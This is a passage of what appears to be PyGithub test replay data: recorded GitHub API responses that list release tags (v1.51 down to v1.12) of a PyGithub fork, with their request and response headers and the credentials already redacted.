DQyOnJlZnMvdGFncy92MS41MQ=="},{"name":"v1.50","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.50","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.50","commit":{"sha":"a9f174bd1d6da6cf4053e09349e7e22b0d8fee09","url":"https://api.github.com/repos/wrecker/PyGithub/commits/a9f174bd1d6da6cf4053e09349e7e22b0d8fee09"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS41MA=="},{"name":"v1.47","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.47","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.47","commit":{"sha":"afb1259a4e52d7bbee8415a523d78c3a428968a8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/afb1259a4e52d7bbee8415a523d78c3a428968a8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40Nw=="},{"name":"v1.46","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.46","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.46","commit":{"sha":"e5ce4912f5e96107eeb2670b8d29c173f82362f8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/e5ce4912f5e96107eeb2670b8d29c173f82362f8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40Ng=="},{"name":"v1.45","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.45","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.45","commit":{"sha":"7134752c36d82c28c87ef83949788027c37d32b6","url":"https://api.github.com/repos/wrecker/PyGithub/commits/7134752c36d82c28c87ef83949788027c37d32b6"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40NQ=="},{"name":"v1.44.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.44.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.44.1","commit":{"sha":"05b9ecb4717f4b94cb6556581b441e38038799d5","url":"https://api.github.com/repos/wrecker/PyGithub/commits/05b9ecb4717f4b94cb6556581b441e38038799d5"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40NC4x"},{"name":"v1.44","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.44","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.44","commit":{"sha":"ff716654fd2b11230b825e8af7cf226f7ce5d326","url":"https://api.github.com/repos/wrecker/PyGithub/commits/ff716654fd2b11230b825e8af7cf226f7ce5d326"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40NA=="},{"name":"v1.43.8","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.8","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.8","commit":{"sha":"1ced0545920d2b8a53167b5acec7d93fe097ea73","url":"https://api.github.com/repos/wrecker/PyGithub/commits/1ced0545920d2b8a53167b5acec7d93fe097ea73"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My44"},{"name":"v1.43.7","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.7","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.7","commit":{"sha":"f716df86bbe7dc276c6596699fa9712b61ef974c","url":"https://api.github.com/repos/wrecker/PyGithub/commits/f716df86bbe7dc276c6596699fa9712b61ef974c"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My43"},{"name":"v1.43.6","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.6","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.6","commit":{"sha":"fcc26708732e63756ce84073dad2f5e18472baff","url":"https://api.github.com/repos/wrecker/PyGithub/commits/fcc26708732e63756ce84073dad2f5e18472baff"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My42"},{"name":"v1.43.5","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.5","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.5","commit":{"sha":"710209fbcce686a98842a2223a0a6106d5fa7729","url":"https://api.github.com/repos/wrecker/PyGithub/commits/710209fbcce686a98842a2223a0a6106d5fa7729"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My41"},{"name":"v1.43.4","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.4","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.4","commit":{"sha":"4a6daf6b9f78c8119841e825c36cb2739bca44dc","url":"https://api.github.com/repos/wrecker/PyGithub/commits/4a6daf6b9f78c8119841e825c36cb2739bca44dc"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My40"},{"name":"v1.43.3","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.3","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.3","commit":{"sha":"395fd5c98bc0f7ce72128b3dd319f3df3301e692","url":"https://api.github.com/repos/wrecker/PyGithub/commits/395fd5c98bc0f7ce72128b3dd319f3df3301e692"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My4z"},{"name":"v1.43.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.2","commit":{"sha":"8ef6990889eabf717391819b54c59408a46b500e","url":"https://api.github.com/repos/wrecker/PyGithub/commits/8ef6990889eabf717391819b54c59408a46b500e"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My4y"},{"name":"v1.43.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43.1","commit":{"sha":"54eb59cf6e6de33a1d0723e7c961ff9597cd3af9","url":"https://api.github.com/repos/wrecker/PyGithub/commits/54eb59cf6e6de33a1d0723e7c961ff9597cd3af9"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40My4x"},{"name":"v1.43","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.43","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.43","commit":{"sha":"4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/4e3d47c0e8162e7dcfb0f7d6db00a5b2368b679d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40Mw=="},{"name":"v1.42","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.42","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.42","commit":{"sha":"df57bf17a820c7335cd672499da0a785afb59b43","url":"https://api.github.com/repos/wrecker/PyGithub/commits/df57bf17a820c7335cd672499da0a785afb59b43"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40Mg=="},{"name":"v1.41","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.41","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.41","commit":{"sha":"2c97823a9595ca1bc6fb9a873d89baba11a8d104","url":"https://api.github.com/repos/wrecker/PyGithub/commits/2c97823a9595ca1bc6fb9a873d89baba11a8d104"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40MQ=="},{"name":"v1.40","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.40","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.40","commit":{"sha":"d897e86aa9aa6469971b3e2201ead39cf1aebb62","url":"https://api.github.com/repos/wrecker/PyGithub/commits/d897e86aa9aa6469971b3e2201ead39cf1aebb62"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40MA=="},{"name":"v1.40a4","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.40a4","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.40a4","commit":{"sha":"286272aaf1230cb9553a0ac57211492fec1d8e4c","url":"https://api.github.com/repos/wrecker/PyGithub/commits/286272aaf1230cb9553a0ac57211492fec1d8e4c"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40MGE0"},{"name":"v1.40a3","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.40a3","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.40a3","commit":{"sha":"b0fc5da5ae0cd1b90124ad45fe985080afe552e8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/b0fc5da5ae0cd1b90124ad45fe985080afe552e8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40MGEz"},{"name":"v1.40a2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.40a2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.40a2","commit":{"sha":"d9071a9eda9d97e8f92b1ae0bd4972d00b8595e1","url":"https://api.github.com/repos/wrecker/PyGithub/commits/d9071a9eda9d97e8f92b1ae0bd4972d00b8595e1"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40MGEy"},{"name":"v1.40a1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.40a1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.40a1","commit":{"sha":"981111dbe0413d936b33d92a1bb7e1a55ddc00bb","url":"https://api.github.com/repos/wrecker/PyGithub/commits/981111dbe0413d936b33d92a1bb7e1a55ddc00bb"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS40MGEx"},{"name":"v1.39","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.39","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.39","commit":{"sha":"6563ce12f53ec3c8bafa7aeae3e21a251eef0eba","url":"https://api.github.com/repos/wrecker/PyGithub/commits/6563ce12f53ec3c8bafa7aeae3e21a251eef0eba"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zOQ=="},{"name":"v1.38","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.38","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.38","commit":{"sha":"193aeaad2a110ed622fd9b1be02420a67f9629b0","url":"https://api.github.com/repos/wrecker/PyGithub/commits/193aeaad2a110ed622fd9b1be02420a67f9629b0"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zOA=="}] https GET api.github.com None /repositories/282377842/tags?page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 23:42:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1595896932'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"05ba16ca0563441aa670166e3f5727b9"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F1A:0961:91CC60:B3C681:5F1F6657')] [{"name":"v1.37","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.37","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.37","commit":{"sha":"b2461670d302a1fe56d6bf3730e74191c770ca1a","url":"https://api.github.com/repos/wrecker/PyGithub/commits/b2461670d302a1fe56d6bf3730e74191c770ca1a"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zNw=="},{"name":"v1.36","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.36","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.36","commit":{"sha":"79f64c12f037b7329c12cf130318c8fdc0be3a0d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/79f64c12f037b7329c12cf130318c8fdc0be3a0d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zNg=="},{"name":"v1.35","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.35","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.35","commit":{"sha":"19310e77e3279080998e2ff230d19e6fe0743528","url":"https://api.github.com/repos/wrecker/PyGithub/commits/19310e77e3279080998e2ff230d19e6fe0743528"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zNQ=="},{"name":"v1.34","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.34","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.34","commit":{"sha":"a628556690ea3a674ff44cba62dc825b18d24b95","url":"https://api.github.com/repos/wrecker/PyGithub/commits/a628556690ea3a674ff44cba62dc825b18d24b95"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zNA=="},{"name":"v1.33","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.33","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.33","commit":{"sha":"e783ee37375bcfab5e9d634e42e0b59524d35053","url":"https://api.github.com/repos/wrecker/PyGithub/commits/e783ee37375bcfab5e9d634e42e0b59524d35053"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zMw=="},{"name":"v1.32","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.32","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.32","commit":{"sha":"414f6e648f4da87f10bae7d01948a63dc82b80f8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/414f6e648f4da87f10bae7d01948a63dc82b80f8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zMg=="},{"name":"v1.31","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.31","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.31","commit":{"sha":"2defb8920e3b2d379e9e6227911a10268a368d78","url":"https://api.github.com/repos/wrecker/PyGithub/commits/2defb8920e3b2d379e9e6227911a10268a368d78"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zMQ=="},{"name":"v1.30","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.30","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.30","commit":{"sha":"2b9d08ef7826688dce46dc422b0324de9b9c113c","url":"https://api.github.com/repos/wrecker/PyGithub/commits/2b9d08ef7826688dce46dc422b0324de9b9c113c"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4zMA=="},{"name":"v1.29","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.29","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.29","commit":{"sha":"43f61f9471cc4c1aab69524ba53bb11d6597d0bf","url":"https://api.github.com/repos/wrecker/PyGithub/commits/43f61f9471cc4c1aab69524ba53bb11d6597d0bf"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yOQ=="},{"name":"v1.28","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.28","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.28","commit":{"sha":"4a657d67f8f325b081233583216db07a88b761c8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/4a657d67f8f325b081233583216db07a88b761c8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yOA=="},{"name":"v1.27.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.27.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.27.1","commit":{"sha":"0098e08792b1aaa2c5cbe498a0139f58199dd90c","url":"https://api.github.com/repos/wrecker/PyGithub/commits/0098e08792b1aaa2c5cbe498a0139f58199dd90c"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNy4x"},{"name":"v1.27.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.27.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.27.0","commit":{"sha":"37c9a5045dc592af630f5e46aa53e0c86617d696","url":"https://api.github.com/repos/wrecker/PyGithub/commits/37c9a5045dc592af630f5e46aa53e0c86617d696"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNy4w"},{"name":"v1.26.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.26.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.26.0","commit":{"sha":"ace2b0c067a7f92bf12965fb4cbfbc8d893d06d2","url":"https://api.github.com/repos/wrecker/PyGithub/commits/ace2b0c067a7f92bf12965fb4cbfbc8d893d06d2"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNi4w"},{"name":"v1.25.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.25.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.25.2","commit":{"sha":"5a05a5e58f682d315acd2447c87ac5b4d4fc55e8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/5a05a5e58f682d315acd2447c87ac5b4d4fc55e8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNS4y"},{"name":"v1.25.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.25.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.25.1","commit":{"sha":"9962ae226869c8c57aed545a8e4834988682cf31","url":"https://api.github.com/repos/wrecker/PyGithub/commits/9962ae226869c8c57aed545a8e4834988682cf31"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNS4x"},{"name":"v1.25.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.25.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.25.0","commit":{"sha":"b64b0d6942bb27095bd035b8c0db10ca35448be3","url":"https://api.github.com/repos/wrecker/PyGithub/commits/b64b0d6942bb27095bd035b8c0db10ca35448be3"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNS4w"},{"name":"v1.24.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.24.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.24.1","commit":{"sha":"5e7d45a2f8c09757a0ce6d0bf37a8eec31791578","url":"https://api.github.com/repos/wrecker/PyGithub/commits/5e7d45a2f8c09757a0ce6d0bf37a8eec31791578"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNC4x"},{"name":"v1.24.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.24.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.24.0","commit":{"sha":"2e74c7d9ea66484dfbcb64e6c05964c07d1f9c02","url":"https://api.github.com/repos/wrecker/PyGithub/commits/2e74c7d9ea66484dfbcb64e6c05964c07d1f9c02"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yNC4w"},{"name":"v1.23.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.23.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.23.0","commit":{"sha":"937c7fccf586643530eff6a557f262c1950dc89f","url":"https://api.github.com/repos/wrecker/PyGithub/commits/937c7fccf586643530eff6a557f262c1950dc89f"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yMy4w"},{"name":"v1.22.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.22.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.22.0","commit":{"sha":"66edeb601fe7fb48d84e9adcc6bdfef64e87a0f0","url":"https://api.github.com/repos/wrecker/PyGithub/commits/66edeb601fe7fb48d84e9adcc6bdfef64e87a0f0"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yMi4w"},{"name":"v1.21.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.21.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.21.0","commit":{"sha":"3ff7e4843ef251c158dc8d07e667db80e03820bb","url":"https://api.github.com/repos/wrecker/PyGithub/commits/3ff7e4843ef251c158dc8d07e667db80e03820bb"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yMS4w"},{"name":"v1.20.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.20.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.20.0","commit":{"sha":"8cb3f372837e2648f17e3f085d2821114b507383","url":"https://api.github.com/repos/wrecker/PyGithub/commits/8cb3f372837e2648f17e3f085d2821114b507383"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4yMC4w"},{"name":"v1.19.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.19.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.19.0","commit":{"sha":"9f9be931fb3821256d8bb685577b5167652763d5","url":"https://api.github.com/repos/wrecker/PyGithub/commits/9f9be931fb3821256d8bb685577b5167652763d5"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xOS4w"},{"name":"v1.18.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.18.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.18.0","commit":{"sha":"5a0d5e2b69368ce59fdc8b78688165aceb9f7ca8","url":"https://api.github.com/repos/wrecker/PyGithub/commits/5a0d5e2b69368ce59fdc8b78688165aceb9f7ca8"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xOC4w"},{"name":"v1.17.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.17.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.17.0","commit":{"sha":"72f8876112ba029111c739871e3e4d7bce66b95d","url":"https://api.github.com/repos/wrecker/PyGithub/commits/72f8876112ba029111c739871e3e4d7bce66b95d"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xNy4w"},{"name":"v1.16.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.16.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.16.0","commit":{"sha":"539ec2a7258a06af3c5c3e93bfbf4b8d3e4fd672","url":"https://api.github.com/repos/wrecker/PyGithub/commits/539ec2a7258a06af3c5c3e93bfbf4b8d3e4fd672"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xNi4w"},{"name":"v1.15.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.15.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.15.0","commit":{"sha":"e1c7052ff1ed27c28ea999cb1f9e1ba691eacfc1","url":"https://api.github.com/repos/wrecker/PyGithub/commits/e1c7052ff1ed27c28ea999cb1f9e1ba691eacfc1"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xNS4w"},{"name":"v1.14.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.14.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.14.2","commit":{"sha":"446f0c94410e678662bb8770e8dc4d8c263b74e6","url":"https://api.github.com/repos/wrecker/PyGithub/commits/446f0c94410e678662bb8770e8dc4d8c263b74e6"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xNC4y"},{"name":"v1.14.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.14.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.14.1","commit":{"sha":"2d1c709062ec7bd132a7421429d7bcbf5dca20e4","url":"https://api.github.com/repos/wrecker/PyGithub/commits/2d1c709062ec7bd132a7421429d7bcbf5dca20e4"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xNC4x"},{"name":"v1.14.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.14.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.14.0","commit":{"sha":"0a0fc8848167c7ad106a0feff93296c006b24fe6","url":"https://api.github.com/repos/wrecker/PyGithub/commits/0a0fc8848167c7ad106a0feff93296c006b24fe6"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xNC4w"}] https GET api.github.com None /repositories/282377842/tags?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 23:42:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1595896932'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"307e87eff47ea3cc4fd49305ae6648f4"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8F1C:1C0C:CD8A47:FDF05B:5F1F6657')] [{"name":"v1.13.1","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.13.1","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.13.1","commit":{"sha":"dc96fef052f2b5c6adb34da65169e8df3f35f611","url":"https://api.github.com/repos/wrecker/PyGithub/commits/dc96fef052f2b5c6adb34da65169e8df3f35f611"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMy4x"},{"name":"v1.13.0","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.13.0","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.13.0","commit":{"sha":"b7e4000450e89b8c6e947e3a1e52fb06da7c9621","url":"https://api.github.com/repos/wrecker/PyGithub/commits/b7e4000450e89b8c6e947e3a1e52fb06da7c9621"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMy4w"},{"name":"v1.12.2","zipball_url":"https://api.github.com/repos/wrecker/PyGithub/zipball/v1.12.2","tarball_url":"https://api.github.com/repos/wrecker/PyGithub/tarball/v1.12.2","commit":{"sha":"03a256a4052cacea998d8205a83d5b5465f31e18","url":"https://api.github.com/repos/wrecker/PyGithub/commits/03a256a4052cacea998d8205a83d5b5465f31e18"},"node_id":"MDM6UmVmMjgyMzc3ODQyOnJlZnMvdGFncy92MS4xMi4y"},{"name":"v